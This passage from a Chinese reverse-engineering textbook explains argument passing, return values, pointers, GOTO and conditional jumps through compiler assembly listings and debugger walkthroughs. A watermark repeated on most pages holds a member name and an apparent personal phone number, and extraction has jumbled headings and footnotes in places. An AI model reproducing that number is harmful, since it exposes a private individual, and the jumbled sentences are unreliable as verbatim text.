之类的标注信息。 故而,被调用方函数所需的参数并不在自己的栈帧之中,而是在调用方函数的栈帧里。所以,被 OllyDbg 标注为 Arg 的数据都存储于其他函数的栈帧。 8.1.3 GCC 我们使用 GCC 4.4.1 编译上述源程序,然后使用 IDA 查看它的汇编指令。 指令清单 8.3 GCC 4.4.1 public f f proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] ; 1st argument imul eax, [ebp+arg_4] ; 2nd argument add eax, [ebp+arg_8] ; 3rd argument pop ebp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 8 章 参 数 获 取 85 retn f endp public main main proc near var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 10h mov [esp+10h+var_8], 3 ; 3rd argument mov [esp+10h+var_C], 2 ; 2nd argument mov [esp+10h+var_10], 1 ; 1st argument call f mov edx, offset aD ; "%d\n" mov [esp+10h+var_C], eax mov [esp+10h+var_10], edx call _printf mov eax, 0 leave retn main endp GCC 的编译结果和 MSVC 的编译结果十分相似。 不同之处是两个被调用方函数(f 和 printf)没有还原栈指针 SP。这是因为函数尾声的倒数第二条指令—— LEAVE 指令(参见附录 A.6.2)能够还原栈指针。 8.2 x64 x86-64 系统的参数传递过程略有不同。x86-64 系统能够使用寄存器传递(前 4 个或前 6 个)参数。就 这个程序而言,被调用方函数会从寄存器里获取参数,完全不需要访问栈。 8.2.1 MSVC 启用优化选项后,MSVC 编译的结果如下。 指令清单 8.4 Optimizing MSVC 2012 x64 $SG2997 DB '%d', 0aH, 00H main PROC sub rsp, 40 mov edx, 2 lea r8d, QWORD PTR [rdx+1] ; R8D=3 lea ecx, QWORD PTR [rdx-1] ; ECX=1 call f lea rcx, OFFSET FLAT:$SG2997 ; '%d' mov edx, eax call printf xor eax, eax add rsp, 40 ret 0 main ENDP f PROC ; ECX - 1st argument ; EDX - 2nd argument ; R8D - 3rd argument imul ecx, edx lea eax, DWORD PTR [r8+rcx] ret 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 86 逆向工程权威指南(上册) f ENDP 我们可以看到,f()函数通过寄存器获取了全部的所需参数。此处求址的加法运算是通过 LEA 指令实现 的。很明显,编译器认为 LEA 指令的效率比 ADD 指令的效率高,所以它分配了 LEA 指令。在制备 f()函 数的第一个和第三个参数时,main()函数同样使用了 LEA 指令。编译器无疑认为 LEA 指令向寄存器赋值 的速度比常规的 MOV 指令速度快。 我们再来看看 MSVC 未开启优化选项时的编译结果。 指令清单 8.5 MSVC 2012 x64 f proc near ; shadow space: arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_10 = dword ptr 18h ; ECX - 1st argument ; EDX - 2nd argument ; R8D - 3rd argument mov [rsp+arg_10], r8d mov [rsp+arg_8], edx mov [rsp+arg_0], ecx mov eax, [rsp+arg_0] imul eax, [rsp+arg_8] add eax, [rsp+arg_10] retn f endp main proc near sub rsp, 28h mov r8d,3 ; 3rd argument mov edx,2 ; 2nd argument mov ecx,1 ; 1st argument call f mov edx, eax lea rcx, $SG2931 ; "%d\n" call printf ; return 0 xor eax, eax add rsp, 28h retn main endp 比较意外的是,原本位于寄存器的 3 个参数都被推送到了栈里。这种现象叫作“阴影空间/shadow space” ① 8.2.2 GCC 。 每个Win64 程序都可以(但非必须)把 4 个寄存器的值保存到阴影空间里。使用阴影空间有以下两个优点: 1)通过栈传递参数,可避免浪费寄存器资源(有时可能会占用 4 个寄存器);2)便于调试器debugger在程序中 断时找到函数参数(请参阅:https://msdn.microsoft.com/en-us/library/ew5tede7%28v=VS.90%29.aspx)。 大型函数可能会把输入参数保存在阴影空间里,但是小型函数(如本例)可能就不会使用阴影空间了。 在使用阴影空间时,由调用方函数分配栈空间,由被调用方函数根据需要将寄存器参数转储到它们的 阴影空间中。 在启用优化选项后,GCC 生成的代码更为晦涩。 指令清单 8.6 Optimizing GCC 4.4.6 x64 f: ① 请参阅 MSDN https://msdn.microsoft.com/en-us/library/zthk2dkh%28v=vs.80%29.aspx。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 8 章 参 数 获 取 87 ; EDI - 1st argument ; ESI - 2nd argument ; EDX - 3rd argument imul esi, edi lea eax, [rdx+rsi] ret main: sub rsp, 8 mov edx, 3 mov esi, 2 mov edi, 1 call f mov edi, OFFSET FLAT:.LC0 ; "%d\n" mov esi, eax xor eax, eax ; number of vector registers passed call printf xor eax, eax add rsp, 8 ret 不开启优化选项的情况下,GCC 生成的代码如下。 指令清单 8.7 GCC 4.4.6 x64 f: ;EDI - 1st argument ; ESI - 2nd argument ; EDX - 3rd argument push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov DWORD PTR [rbp-8], esi mov DWORD PTR [rbp-12], edx mov eax, DWORD PTR [rbp-4] imul eax, DWORD PTR [rbp-8] add eax, DWORD PTR [rbp-12] leave ret main: push rbp mov rbp, rsp mov edx, 3 mov esi, 2 mov edi, 1 call f mov edx, eax mov eax, OFFSET FLAT:.LC0 ; "%d\n" mov esi, edx mov rdi, rax mov eax, 0 ; number of vector registers passed call printf mov eax, 0 leave ret 阴影空间只是微软的概念,System V *NIX[参见参考文献 Mit13]里没有这种规范或约定。GCC 只有 在寄存器数量容纳不下所有参数的情况下,才会使用栈传递参数。 8.2.3 GCC: uint64_t 型参数 指令清单 8.1 的源程序采用的是 32 位 int 整型参数,所以以上的汇编指令使用的寄存器都是 64 位寄存 器的低 32 位(即 E-字头寄存器)。如果把参数改为 64 位数据,那么汇编指令则会略有不同: #include <stdio.h> #include <stdint.h> 异步社区会员 dearfuture(15918834820) 专享 尊重版权 88 逆向工程权威指南(上册) uint64_t f (uint64_t a, uint64_t b, uint64_t c) { return a*b+c; }; int main() { printf ("%lld\n", f(0x1122334455667788, 0x1111111122222222, 0x3333333344444444)); return 0; }; 指令清单 8.8 Optimizing GCC 4.4.6 x64 f proc near imul rsi, rdi lea rax, [rdx+rsi] retn f endp main proc near sub rsp, 8 mov rdx, 3333333344444444h ; 3rd argument mov rsi, 1111111122222222h ; 2nd argument mov rdi, 1122334455667788h ; 1st argument call f mov edi, offset format ; "%lld\n" mov rsi, rax xor eax, eax ; number of vector registers passed call _printf xor eax, eax add rsp, 8 retn main endp 相应的汇编指令使用了整个寄存器(R-字头寄存器)。其他部分基本相同。 8.3 ARM 8.3.1 Non-optimizing Keil 6/2013 (ARM mode) .text:000000A4 00 30 A0 E1 MOV R3, R0 .text:000000A8 93 21 20 E0 MLA R0, R3, R1, R2 .text:000000AC 1E FF 2F E1 BX LR ... .text:000000B0 main .text:000000B0 10 40 2D E9 STMFD SP!, {R4,LR} .text:000000B4 03 20 A0 E3 MOV R2, #3 .text:000000B8 02 10 A0 E3 MOV R1, #2 .text:000000BC 01 00 A0 E3 MOV R0, #1 .text:000000C0 F7 FF FF EB BL f .text:000000C4 00 40 A0 E1 MOV R4, R0 .text:000000C8 04 10 A0 E1 MOV R1, R4 .text:000000CC 5A 0F 8F E2 ADR R0, aD_0 ; "%d\n" .text:000000D0 E3 18 00 EB BL __2printf .text:000000D4 00 00 A0 E3 MOV R0, #0 .text:000000D8 00 00 A0 E3 LDMFD SP!, {R4,PC} 主函数只起到了调用另外 2 个函数的作用。它把 3 个参数传递给了 f()函数。 前文提到过,在 ARM 系统里,前 4 个寄存器(R0~R3)负责传递前 4 个参数。 在本例中,f()函数通过前 3 个寄存器(R0~R2)读取参数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 8 章 参 数 获 取 89 MLA(Multiply Accumulate)指令将前两个操作数(R3 和 R1 里的值)相乘,然后再计算第三个操作 数(R2 里的值)和这个积的和,并且把最终运算结果存储在零号寄存器 R0 之中。根据 ARM 指令的有关 规范,返回值就应该存放在 R0 寄存器里。 MLA是乘法累加指令 ①,能够一次计算乘法和加法运算,属于非常有用的指令。在SIMD技术 ② BL指令把程序的控制流交给LR寄存器里的地址,而且会在必要的时候切换处理器的运行模式(Thumb 模式和ARM模式之间进行模式切换)。被调用方函数f()并不知道它会被什么模式的代码调用,不知道调用 方函数属于 ARM模式的代码还是Thumb模式的代码。所以这种模式切换的功能还是必要的。如果它被 Thumb模式的代码调用,BX指令不仅会进行相应的跳转,还会把处理器模式调整为Thumb。如果它被ARM 模式的指令 的FMA 指令问世之前,x86 平台的指令集里并没有类似的指令。 首条指令“MOV R3, R0”属于冗余指令。即使此处没有这条指令,后面的 MLA 指令直接使用有关的 寄存器也不会出现任何问题。因为我们没有启用优化选项,所以编译器没能对此进行优化。 ③ 8.3.2 Optimizing Keil 6/2013 (ARM mode) 调用,则不会进行模式切换。 .text:00000098 f .text:00000098 91 20 20 E0 MLA R0, R1, R0, R2 .text:0000009C 1E FF 2F E1 BX LR 在启用最大幅度的优化功能(-O3)之后,前面那条 MOV 指令被优化了,或者说被删除了。MLA 直 接使用所有寄存器的参数,并且把返回值保存在 R0 寄存器里。调用方函数继而可从 R0 寄存器获取返回值。 8.3.3 Optimizing Keil 6/2013 (Thumb mode) .text:0000005E 48 43 MULS R0, R1 .text:00000060 80 18 ADDS R0, R0, R2 .text:00000062 70 47 BX LR 因为 Thumb 模式的指令集里没有 MLA 指令,所以编译器将它分为两个指令。第一条 MULS 指令计算 R0 和 R1 的积,把运算结果存储在R1 寄存器里。第二条ADDS 计算R1 和R2 的和,并且把计算结果存储在R0 寄存器里。 8.3.4 ARM64 Optimizing GCC (Linaro) 4.9 ARM64 的情况简单一些。MADD 指令可以一次进行乘法和加法的混合运算,与前文的 MLA 指令十 分类似。全部 3 个参数由 X-字头寄存器的低 32 位传递。这是因为这些参数都是 32 位整型数据。函数的返 回值存储在 W0 寄存器。 指令清单 8.9 Optimizing GCC (Linaro) 4.9 f: madd w0, w0, w1, w2 ret main: ; save FP and LR to stack frame: stp x29, x30, [sp, -16]! mov w2, 3 mov w1, 2 add x29, sp, 0 ① 请参见 http://en.wikipedia.org/wiki/Multiply%E2%80%93accumulate_operation。 ② “单指令流多数据流”的缩写,请参见 https://en.wikipedia.org/wiki/FMA_instruction_set。 ③ ARM12,附录 A2.3.2。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 90 逆向工程权威指南(上册) mov w0, 1 bl f mov w1, w0 adrp x0, .LC7 add x0, x0, :lo12:.LC7 bl printf ; return 0 mov w0, 0 ; restore FP and LR ldp x29, x30, [sp], 16 ret .LC7: .string "%d\n" 我们再来看看参数为 64 位 uint64_t 的情况: #include <stdio.h> #include <stdint.h> uint64_t f (uint64_t a, uint64_t b, uint64_t c) { return a*b+c; }; int main() { printf ("%lld\n", f(0x1122334455667788, 0x1111111122222222, 0x3333333344444444)); return 0; }; f: madd x0, x0, x1, x2 ret main: mov x1, 13396 adrp x0, .LC8 stp x29, x30, [sp, -16]! movk x1, 0x27d0, lsl 16 add x0, x0, :lo12:.LC8 movk x1, 0x122, lsl 32 add x29, sp, 0 movk x1, 0x58be, lsl 48 bl printf mov w0, 0 ldp x29, x30, [sp], 16 ret .LC8: .string "%lld\n" 这两段代码的 f()函数部分相同。在采用 64 位参数之后,程序使用了整个 64 位 X 寄存器。程序通过 两条指令才能把长数据类型的 64 位值存储到寄存器里。本书在 28.3.1 节会详细介绍 64 位数据的有关操作。 Non-optimizing GCC (Linaro) 4.9 在没有启用优化选项的情况下,编译器生成的代码稍显冗长: f: sub sp, sp, #16 str w0, [sp,12] str w1, [sp,8] str w2, [sp,4] ldr w1, [sp,12] ldr w0, [sp,8] mul w1, w1, w0 ldr w0, [sp,4] add w0, w1, w0 add sp, sp, 16 ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 8 章 参 数 获 取 91 函数 f()把传入的参数保存在数据栈里,以防止后期的指令占用 W0~W2 寄存器。这可防止后续指令覆 盖函数参数,起到保护传入参数的作用。这种技术叫作“寄存器保护区/Register Save Area”[参见 ARM13c]。 但是,本例的这种被调用方函数可以不这样保存参数。寄存器保护区与 8.2.1 节介绍的阴影空间十分相似。 在启用优化选项后,GCC 4.9 会把这部分寄存器存储指令删除。这是因为优化功能判断出后续指令不 会再操作函数参数的相关地址,所以编译器不再另行保存 W0~W2 中存储的数据。 此外,上述代码使用了 MUL/ADD 指令对,而没有使用 MADD 指令。 8.4 MIPS 指令清单 8.10 Optimizing GCC 4.4.5 .text:00000000 f: ; $a0=a ; $a1=b ; $a2=c .text:00000000 mult $a1, $a0 .text:00000004 mflo $v0 .text:00000008 jr $ra .text:0000000C addu $v0, $a2, $v0 ; branch delay slot ; result in $v0 upon return .text:00000010 main: .text:00000010 .text:00000010 var_10 = -0x10 .text:00000010 var_4 =-4 .text:00000010 .text:00000010 lui $gp, (__gnu_local_gp >> 16) .text:00000014 addiu $sp, -0x20 .text:00000018 la $gp, (__gnu_local_gp & 0xFFFF) .text:0000001C sw $ra, 0x20+var_4($sp) .text:00000020 sw $gp, 0x20+var_10($sp) ; set c: .text:00000024 li $a2, 3 ; set a: .text:00000028 li $a0, 1 .text:0000002C jal f ; set b: .text:00000030 li $a1, 2 ; branch delay slot ; result in $v0 now .text:00000034 lw $gp, 0x20+var_10($sp) .text:00000038 lui $a0, ($LC0 >> 16) .text:0000003C lw $t9, (printf & 0xFFFF)($gp) .text:00000040 la $a0, ($LC0 & 0xFFFF) .text:00000044 jalr $t9 ; take result of f() function and pass it as a second argument to printf(): .text:00000048 move $a1, $v0 ; branch delay slot .text:0000004C lw $ra, 0x20+var_4($sp) .text:00000050 move $v0, $zero .text:00000054 jr $ra .text:00000058 addiu $sp, 0x20 ; branch delay slot 函数所需的前 4 个参数由 4 个 A-字头寄存器传递。 MIPS 平台有两个特殊的寄存器:HI 和 LO。它们用来存储 MULT 指令的乘法计算结果——64 位的积。 只有 MFLO 和 MFHI 指令能够访问 HI 和 LO 寄存器。其中,MFLO 负责访问积的低 32 位部分。本例中它 把积的低 32 位部分存储到$V0 寄存器。 因为本例没有访问积的高 32 位,所以那半部分被丢弃了。不过我们的程序就是这样设计的:积是 32 位的整型数据。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 92 逆向工程权威指南(上册) 最终 ADDU(Add Unsigned)指令计算第三个参数与积的和。 在MIPS平台上,ADD和ADDU是两个不同的指令。此二者的区别体现在异常处理的方式上,而符号位 的处理方式反而没有区别。ADD指令可以触发溢出处理机制。溢出有时候是必要的 ① ① http://blog.regehr.org/archives/1154。 ,而且被Ada和其他 编程语言支持。ADDU不会引发溢出。因为C/C++不支持这种机制,所以本例使用的是ADDU指令而非ADD 指令。 此后$V0 寄存器存储这 32 位的运算结果。 main()函数使用到了 JAL(Jump and Link)指令。JAL 和 JALR 指令有所区别,前者使用的是相对地址—— 偏移量,后者则跳转到寄存器存储的绝对地址里。JALR 的 R 代表 Register。由于 f()函数和 main()函数都 位于同一个 object 文件,所以 f()函数的相对地址是已知的,可以被计算出来。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 99 章 章 返 返 回 回 值 值 在x86 系统里,被调用方函数通常通过EAX寄存器返回运算结果。 ① 9.1 void 型函数的返回值 若返回值属于byte或char类型数据, 返回值将存储于EAX寄存器的低 8 位——AL寄存器存储返回值。如果返回值是浮点float型数据,那么返回 值将存储在FPU的 ST(0)寄存器里。ARM系统的情况相对简单一些,它通常使用R0 寄存器回传返回值。 主函数 main()的数据类型通常是 void 而不是 int,程序如何处理返回值呢? 调用 main()函数的有关代码大体会是这样的: push envp push argv push argc call main push eax call exit 将其转换为源代码,也就是: exit(main(argc,argv,envp)); 如果声明 main()的数据类型是 void,则 main()函数不会明确返回任何值(没有 return 指令)。不过在 main()函数退出时,EAX 寄存器还会存有数据,EAX 寄存器保存的数据会被传递给 exit()函数、成为后者 的输入参数。通常 EAX 寄存器的值会是被调用方函数残留的确定数据,所以 void 类型函数的返回值、也 就是主函数退出代码往往属于伪随机数(pseudorandom)。 在我们进行相应的演示之前,请注意 main()函数返回值是 void 型: #include <stdio.h> void main() { printf ("Hello, world!\n"); }; 然后使用 Linux 系统编译。 3.4.3 节处介绍过 GCC 4.8.1 会使用 puts()替换 printf(),而且 puts()函数会返回它所输出的字符的总数。 我们将充分利用这点,观察 main()函数的返回值。请注意在 main()函数结束时,EAX 寄存器的值不会是零; 也就是说,此时 EAX 寄存器存储的值应当是上一个函数——puts()函数的返回值。 指令清单 9.1 GCC 4.8.1 .LC0: .string "Hello, world!" main: push ebp mov ebp, esp and esp, -16 sub esp, 16 mov DWORD PTR [esp], OFFSET FLAT:.LC0 call puts ① 请参见 MSDN: Return Values (C++): http://msdn.microsoft.com/en-us/library/7572ztz4.aspx。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 94 逆向工程权威指南(上册) leave ret 我们再通过一段 bash 脚本程序,观察程序的退出状态(返回值)。 指令清单 9.2 tst.sh #!/bin/sh ./hello_world echo $? 执行上述脚本之后,我们将会看到: $ ./tst.sh Hello, world! 14 这个“14”就是 puts()函数输出的字符的总数。 9.2 函数返回值不被调用的情况 printf() 函数的返回值为打印的字符的总数,但是很少有程序会使用这个返回值。实际上,确实有调用 运算函数、却不使用运算结果的程序: int f() { // skip first 3 random values rand(); rand(); rand(); // and use 4th return rand(); }; 上述四个 rand()函数都会把运算结果存储到 EAX 寄存器里。但是前三个 rand()函数留在 EAX 寄存器的 运算结果都被抛弃了。 9.3 返回值为结构体型数据 我们继续讨论使用 EAX 寄存器存储函数返回值的案例。函数只能够使用 EAX 这 1 个寄存器回传返回 值。因为这种局限,过去的 C 编译器无法编译返回值超过 EAX 容量(一般来说,就是 int 型数据)的函 数。那个时候,如果要让返回多个返回值,那么只能用函数返回一个值、再通过指针传递其余的返回值。 现在的 C 编译器已经没有这种短板了,return 指令甚至可以返回结构体型的数据,只是时下很少有人会这 么做。如果函数的返回值是大型结构的数据,那么应由调用方函数(caller)负责分配空间,给结构体分配 指针,再把指针作为第一个参数传递给被调用方函数。现在的编译器已经能够替程序员自动完成这种复杂 的操作了,其处理方式相当于上述几个步骤,只是编译器隐藏了有关操作。 我们来看: struct s { int a; int b; int c; }; struct s get_some_values (int a) { struct s rt; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 9 章 返 回 值 95 rt.a=a+1; rt.b=a+2; rt.c=a+3; return rt; }; 使用 MSVC 2010 (启用优化选项/Ox)编译,可得到: $T3853 = 8 ; size = 4 _a$ = 12 ; size = 4 ?get_some_values@@YA?AUs@@H@Z PROC ; get_some_values mov ecx, DWORD PTR _a$[esp-4] mov eax, DWORD PTR $T3853[esp-4] lea edx, DWORD PTR [ecx+1] mov DWORD PTR [eax], edx lea edx, DWORD PTR [ecx+2] add ecx, 3 mov DWORD PTR [eax+4], edx mov DWORD PTR [eax+8], ecx ret 0 ?get_some_values@@YA?AUs@@H@Z ENDP ; get_some_values 在程序内部传递结构体的指针就是$T3853。 如果使用 C99 扩展语法来写,刚才的程序就是: struct s { int a; int b; int c; }; struct s get_some_values (int a) { return (struct s){.a=a+1, .b=a+2, .c=a+3}; }; 经 GCC 4.8.1 编译上述程序,可得到如下所示的指令。 指令清单 9.3 GCC 4.8.1 _get_some_values proc near ptr_to_struct = dword ptr 4 a = dword ptr 8  mov edx, [esp+a] mov eax, [esp+ptr_to_struct] lea ecx, [edx+1] mov [eax], ecx lea ecx, [edx+2] add edx, 3 mov [eax+4], ecx mov [eax+8], edx retn _get_some_values endp 可见,调用方函数(caller)创建了数据结构、分配了数据空间,被调用的函数仅向结构体填充数据。 其效果等同于返回结构体。这种处理方法并不会影响程序性能。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1100 章 章 指 指 针 针 指针通常用来帮助函数处理返回值(请参阅第 7 章的范例)。当函数需要返回多个值时,它通常都是通 过指针传递返回值的。 10.1 全局变量 #include <stdio.h> void f1 (int x, int y, int *sum, int *product) { *sum=x+y; *product=x*y; }; int sum, product; void main() { f1(123, 456, &sum, &product); printf ("sum=%d, product=%d\n", sum, product); }; 经 MSVC 2010(启用优化选项/Ox /Ob)编译上述程序,可得到如下所示的指令。 指令清单 10.1 Optimizing MSVC 2010 (/Ob0) COMM _product:DWORD COMM _sum:DWORD $SG2803 DB 'sum=%d, product=%d', 0aH, 00H _x$ = 8 ; size = 4 _y$ = 12 ; size = 4 _sum$ = 16 ; size = 4 _product$ = 20 ; size = 4 _f1 PROC mov ecx, DWORD PTR _y$[esp-4] mov eax, DWORD PTR _x$[esp-4] lea edx, DWORD PTR [eax+ecx] imul eax, ecx mov ecx, DWORD PTR _product$[esp-4] push esi mov esi, DWORD PTR _sum$[esp] mov DWORD PTR [esi], edx mov DWORD PTR [ecx], eax pop esi ret 0 _f1 ENDP _main PROC push OFFSET _product push OFFSET _sum push 456 ; 000001c8H push 123 ; 0000007bH call _f1 mov eax, DWORD PTR _product 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 10 章 指 针 97 mov ecx, DWORD PTR _sum push eax push ecx push OFFSET $SG2803 call DWORD PTR __imp__printf add esp, 28 ; 0000001cH xor eax, eax ret 0 _main ENDP 如图 10.1 所示,我们使用 OllyDbg 调试这个程序。 图 10.1 使用 OllyDbg 观察全局变量的地址传递到 f1()函数的过程 首先,全局变量的地址会被传递给 f1()函数。我们用右键单击栈中的元素,选中“Follow in dump”, 将会在数据段中看到两个变量的实际情况。 在运行第一条指令之前,在 BSS(Block Started by Symbol)域内未被初始化赋值的数据会置零,所以 这些变量会被清空(ISO 可规范,6.7.8 节)。变量驻留在数据段。如图 10.2 所示,我们可以按 Alt-M 组合 键调用 memory map 进行确认。 图 10.2 使用 OllyDbg 查看内存映射 按下F7 键及跟踪调试f1()函数 ①,如图 10.3 所示。 图 10.3 使用 OllyDbug 跟踪调试 f1() ① trace,可以进入被调用的函数里继续进行单步调试。如果使用 F8 键,则可一步就完成 call 调用的函数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 98 逆向工程权威指南(上册) 如上图所示,数据栈里会有 0x1C8(456)和 0x7B(123)两个值,以及这两个全局变量的地址(指针)。 继续跟踪调试程序,待其执行到 f1()函数尾部。如图 10.4 所示,我们会在左下方的窗口看到全局变量 的计算结果。 图 10.4 使用 ollyDbg 观察 f1()函数执行完毕 而后,全局变量的值将被加载到寄存器中,通过栈传递给 printf()函数。如图 10.5 所示。 图 10.5 使用 OllyDbg 观察 printf()函数获取全局变量的地址 10.2 局部变量 下面,我们略微调整下程序,使其通过局部变量完成同样的功能。 指令清单 10.2 将和、积变量存储在局部变量里 void main() { int sum, product; // now variables are local in this function f1(123, 456, &sum, &product); printf ("sum=%d, product=%d\n", sum, product); }; 编译之后,f1()函数的汇编代码与使用全局变量的代码完全相同。而 main()函数的汇编代码会有相应的 变化。启用/Ox /Ob0 的优化选项编译后,会得到如下所示的指令。 指令清单 10.3 Optimizing MSVC 2010 (/Ob0) _product$ = -8 ; size = 4 _sum$ = -4 ; size = 4 _main PROC ; Line 10 sub esp, 8 ; Line 13 lea eax, DWORD PTR _product$[esp+8] push eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 10 章 指 针 99 lea ecx, DWORD PTR _sum$[esp+12] push ecx push 456 ; 000001c8H push 123 ; 0000007bH call _f1 ; Line 14 mov edx, DWORD PTR _product$[esp+24] mov eax, DWORD PTR _sum$[esp+24] push edx push eax push OFFSET $SG2803 call DWORD PTR __imp__printf ; Line 15 xor eax, eax add esp, 36 ; 00000024H ret 0 接下来,我们使用 OllyDbg 来调试这个程序。栈内的两个变量在栈内 0x2EF854 和 0x2EF858 两个地 址上。如图 10.6 所示,我们观察下它们入栈的过程。 图 10.6 使用 OllyDbg 观察局部变量的入栈过程 在 f1()函数启动时,0x2EF854 和 0x2EF858 地址的数据都是随机的脏数据,如图 10.7 所示。 图 10.7 使用 OllyDbg 追踪 f1()的启动过程 f1()函数结束时的情况如图 10.8 所示。 现在 0x2EF854 的值是 0xDB18,0x2EF8588 的值是 0x243。它们都是 f1()函数的运算结果。 图 10.8 使用 OllyDbg 观察 f1()执行完毕时的栈内数据 异步社区会员 dearfuture(15918834820) 专享 尊重版权 100 逆向工程权威指南(上册) 10.3 总结 借助指针,f1() 函数可以返回位于任意地址的任意值。这个例子体现了指针的重要作用。C++的引用 (指针)/reference 的作用与 C pointer(指针)相同。本书的 51.3 节将详细介绍 C++的引用。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1111 章 章 G GO OTTO O 语 语句 句 人们普遍认为使用GOTO语句将破坏代码的结构化构造 ①。即使如此,某些情况下我们还必须使用这 种语句 ② ① 请参阅 Dij68。 ② 请参阅 Knu74,以及 Yur13。 。 本章围绕以下程序进行说明: #include <stdio.h> int main() { printf ("begin\n"); goto exit; printf ("skip me!\n"); exit: printf ("end\n"); }; 使用 MSVC 2012 编译上述程序,可得到如下所示的指令。 指令清单 11.1 MSVC 2012 $SG2934 DB 'begin', 0aH, 00H $SG2936 DB 'skip me!', 0aH, 00H $SG2937 DB 'end', 0aH, 00H _main PROC push ebp mov ebp, esp push OFFSET $SG2934 ; 'begin' call _printf add esp, 4 jmp SHORT $exit$3 push OFFSET $SG2936 ; 'skip me!' call _printf add esp, 4 $exit$3: push OFFSET $SG2937 ; 'end' call _printf add esp, 4 xor eax, eax pop ebp ret 0 _main ENDP 源代码中的 goto 语句直接被编译成了 JMP 指令。这两个指令的效果完全相同:无条件的转移到程序 中的另一个地方继续执行后续命令。 只有在人工干预的情况下,例如使用调试器调整程序、或者对程序打补丁的情况下,程序才会调用第 二个 printf()函数。 我们用它练习 patching 技术。首先使用 Hiew 打开刚才编译的可执行文件,如图 11.1 所示将光标移动到 JMP (0x410)处,按下 F3 键(编辑),再输入两个零。这样,我们就把这个地址的 opcode 改为了 EB 00 如图 11.2 所示。 JMP 所在的 opcode 的第二个字节代表着跳转的相对偏移量。把这个偏移量改为 0,就可以让它继续运 行后续指令。这样 JMP 指令就不会跳过第二个 printf()函数。 按下 F9 键(保存文件)并退出 Hiew。再次运行这个可执行文件的情况应当如图 11.3 所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 102 逆向工程权威指南(上册) 图 11.1 Hiew 图 11.2 Hiew 当然,把 JMP 指令替换为两个 NOP 指令可以达到同样效果。因为 NOP 的 opcode 是 0x90、只占用一个字节,所以在进行替换时要写上两个 NOP 指令。 11.1 无用代码 Dead Code 在编译术语里,上述程序中第二次调用 printf()函数的代码称为“无用代码/dead code”。无用代码永远 不会被执行。所以,在启用编译器的优化选项之后,编译器会把这种无用代码删除得干干净净。 指令清单 11.2 Optimizing MSVC 2012 $SG2981 DB 'begin', 0aH, 00H $SG2983 DB 'skip me!', 0aH, 00H $SG2984 DB 'end', 0aH, 00H _main PROC push OFFSET $SG2981 ; 'begin' call _printf push OFFSET $SG2984 ; 'end' $exit$4: call _printf add esp, 8 xor eax, eax ret 0 _main ENDP 然而编译器却没能删除字符串“skip me!”。 11.2 练习题 请结合自己的编译器和调试器进行有关练习。 图 11.3 修改后的程序 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1122 章 章 条 条件 件转 转移 移指 指令 令 12.1 数值比较 本章会围绕以下程序进行演示: #include <stdio.h> void f_signed (int a, int b) { if (a>b) printf ("a>b\n"); if (a==b) printf ("a==b\n"); if (a<b) printf ("a<b\n"); }; void f_unsigned (unsigned int a, unsigned int b) { if (a>b) printf ("a>b\n"); if (a==b) printf ("a==b\n"); if (a<b) printf ("a<b\n"); }; int main() { f_signed(1, 2); f_unsigned(1, 2); return 0; }; 12.1.1 x86 x86 + MSVC 在关闭优化选项时,使用 MSVC 编译上述源程序,可得到 f_signed()函数。 指令清单 12.1 Non-optimizing MSVC 2010 _a$ = 8 _b$ = 12 _f_signed PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] cmp eax, DWORD PTR _b$[ebp] jle SHORT $LN3@f_signed push OFFSET $SG737 ; 'a>b' call _printf add esp, 4 $LN3@f_signed: mov ecx, DWORD PTR _a$[ebp] cmp ecx, DWORD PTR _b$[ebp] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 104 逆向工程权威指南(上册) jne SHORT $LN2@f_signed push OFFSET $SG739 ; 'a==b' call _printf add esp, 4 $LN2@f_signed: mov edx, DWORD PTR _a$[ebp] cmp edx, DWORD PTR _b$[ebp] jge SHORT $LN4@f_signed push OFFSET $SG741 ; 'a<b' call _printf add esp, 4 $LN4@f_signed: pop ebp ret 0 _f_signed ENDP 第一个条件转移指令是 JLE,即“Jump if Less or Equal”。如果上一条 CMP 指令的第一个操作表达式 小于或等于(不大于)第二个表达式,JLE 将跳转到指令所标明的地址;如果不满足上述条件,则运行下 一条指令,就本例而言程序将会调用 printf()函数。第二个条件转移指令是 JNE,“Jump if Not Equal”,如果 上一条 CMP 的两个操作符不相等,则进行相应跳转。 第三个条件转移指令是 JGE,即“Jump if Greater or Equal”。如果 CMP 的第一个表达式大于或等于第 二个表达式(不小于),则进行跳转。这段程序里,如果三个跳转的判断条件都不满足,将不会调用 printf() 函数;不过,除非进行特殊干预,否则这种情况应该不会发生。 现在我们观察 f_unsigned()函数的汇编指令。f_unsigned()函数和 f_signed()函数大体相同。它们的区别 集中体现在条件转移指令上:f_unsinged()函数的使用的条件转移指令是 JBE 和 JAE,而 f_signed()函数使 用的条件转移指令则是 JLE 和 JGE。 使用 GCC 编译上述程序,可得到 f_unsigned()的汇编指令如下。 指令清单 12.2 GCC _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 _f_unsigned PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] cmp eax, DWORD PTR _b$[ebp] jbe SHORT $LN3@f_unsigned push OFFSET $SG2761 ; 'a>b' call _printf add esp, 4 $LN3@f_unsigned: mov ecx, DWORD PTR _a$[ebp] cmp ecx, DWORD PTR 